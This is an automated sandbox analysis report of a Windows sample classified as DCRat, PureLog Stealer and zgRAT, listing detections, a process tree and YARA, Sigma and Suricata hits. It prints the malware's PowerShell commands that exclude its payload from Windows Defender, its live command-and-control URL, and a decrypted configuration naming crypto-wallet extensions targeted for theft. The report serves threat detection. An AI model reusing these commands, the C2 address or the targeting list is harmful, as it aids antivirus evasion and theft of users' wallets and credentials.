Edit tour

Windows Analysis Report
hz7DzW2Yop.exe

Overview

General Information

Sample name:	hz7DzW2Yop.exe renamed because original name is a hash value
Original sample name:	46dcddd43cbaeae845c14e7306726ff2.exe
Analysis ID:	1587336
MD5:	46dcddd43cbaeae845c14e7306726ff2
SHA1:	4952a7cd01795d736450074433337d2a544b1e50
SHA256:	ab98b91a647e45e348db97bd277efcc122d10d45a5891bfac3d627f3a865b580
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates processes via WMI

Drops executables to the windows directory (C:\Windows) and starts them

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious execution chain found

Tries to harvest and steal browser information (history, passwords, etc)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

hz7DzW2Yop.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\hz7DzW2Yop.exe" MD5: 46DCDDD43CBAEAE845C14E7306726FF2)

wscript.exe (PID: 7364 cmdline: "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7520 cmdline: C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

serverBrokerperfMonitor.exe (PID: 7580 cmdline: "C:\HyperWebbroker/serverBrokerperfMonitor.exe" MD5: C1CF39EF49B82B35938CA7A45DBCCEEE)

powershell.exe (PID: 7996 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8004 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8020 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7704 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 8068 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8120 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6644 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 4048 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 396 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

uAsLgsGzSk.exe (PID: 7860 cmdline: "C:\Windows\ShellExperiences\uAsLgsGzSk.exe" MD5: C1CF39EF49B82B35938CA7A45DBCCEEE)

uAsLgsGzSk.exe (PID: 1868 cmdline: C:\Recovery\uAsLgsGzSk.exe MD5: C1CF39EF49B82B35938CA7A45DBCCEEE)

uAsLgsGzSk.exe (PID: 5344 cmdline: C:\Recovery\uAsLgsGzSk.exe MD5: C1CF39EF49B82B35938CA7A45DBCCEEE)

svchost.exe (PID: 7540 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hz7DzW2Yop.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
hz7DzW2Yop.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\SystemSettings.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\SystemSettings.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\HyperWebbroker\serverBrokerperfMonitor.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\HyperWebbroker\serverBrokerperfMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\HyperWebbroker\serverBrokerperfMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\HyperWebbroker\serverBrokerperfMonitor.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.1930693014.00000000137F7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000000.1829997271.0000000000FE2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: serverBrokerperfMonitor.exe PID: 7580	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: uAsLgsGzSk.exe PID: 7860	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.hz7DzW2Yop.exe.6250ee9.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.hz7DzW2Yop.exe.6250ee9.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\HyperWebbroker/serverBrokerperfMonitor.exe", ParentImage: C:\HyperWebbroker\serverBrokerperfMonitor.exe, ParentProcessId: 7580, ParentProcessName: serverBrokerperfMonitor.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', ProcessId: 7996, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\hz7DzW2Yop.exe", ParentImage: C:\Users\user\Desktop\hz7DzW2Yop.exe, ParentProcessId: 7316, ParentProcessName: hz7DzW2Yop.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe" , ProcessId: 7364, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\HyperWebbroker/serverBrokerperfMonitor.exe", ParentImage: C:\HyperWebbroker\serverBrokerperfMonitor.exe, ParentProcessId: 7580, ParentProcessName: serverBrokerperfMonitor.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe', ProcessId: 7996, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7540, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T07:57:31.379268+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49736	89.23.100.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hz7DzW2Yop.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\SystemSettings.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\Desktop\cIDyHnkk.log	Avira: detection malicious, Label: TR/Agent.jbwuj
Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\FyhuXVvF.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\hnxxzxgb.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Found malware configuration

Source: 00000005.00000002.1930693014.00000000137F7000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	ReversingLabs: Detection: 68%
Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	ReversingLabs: Detection: 68%
Source: C:\Recovery\SystemSettings.exe	ReversingLabs: Detection: 68%
Source: C:\Recovery\uAsLgsGzSk.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\Desktop\CvvLBlqK.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\FyhuXVvF.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\GvICsVKA.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\IitSDvGY.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\NVLRgsWM.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\cIDyHnkk.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\eIxzTFKJ.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\hnxxzxgb.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\htcPaTVC.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\maPwcuvP.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\qTMMgMAe.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\vPOensqX.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\zHJVyCcw.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\zIxCDFUn.log	ReversingLabs: Detection: 37%
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: hz7DzW2Yop.exe	ReversingLabs: Detection: 68%
Source: hz7DzW2Yop.exe	Virustotal: Detection: 59%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\LqKTzAAu.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	Joe Sandbox ML: detected
Source: C:\Recovery\SystemSettings.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\IitSDvGY.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	Joe Sandbox ML: detected
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\NVLRgsWM.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\HupKRiKa.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: hz7DzW2Yop.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Smart","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["A304AdlgYtYJeVPUZrJwxZFWxXLmbzyDZ0TzYWTLbOkpi6jNBNaa6qulyeGnR9Fj5VtnCa6CX8Viyax1y8kNZYGtGrB3Qq3bJBtMN5KlRXC8UMxXrPySZ1KgP9hUYDwq","bd9da7f16f55026e79d340b5ea02a5a7f7e28b00743a65fca34947ef8d4bc1c2","0","SUDO","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/","imageJavascriptprocessDefaultsqltest"]]

Source: hz7DzW2Yop.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: hz7DzW2Yop.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: hz7DzW2Yop.exe, 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp, hz7DzW2Yop.exe, 00000000.00000000.1666308899.0000000000933000.00000002.00000001.01000000.00000003.sdmp, hz7DzW2Yop.exe, 00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp, hz7DzW2Yop.exe, 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp
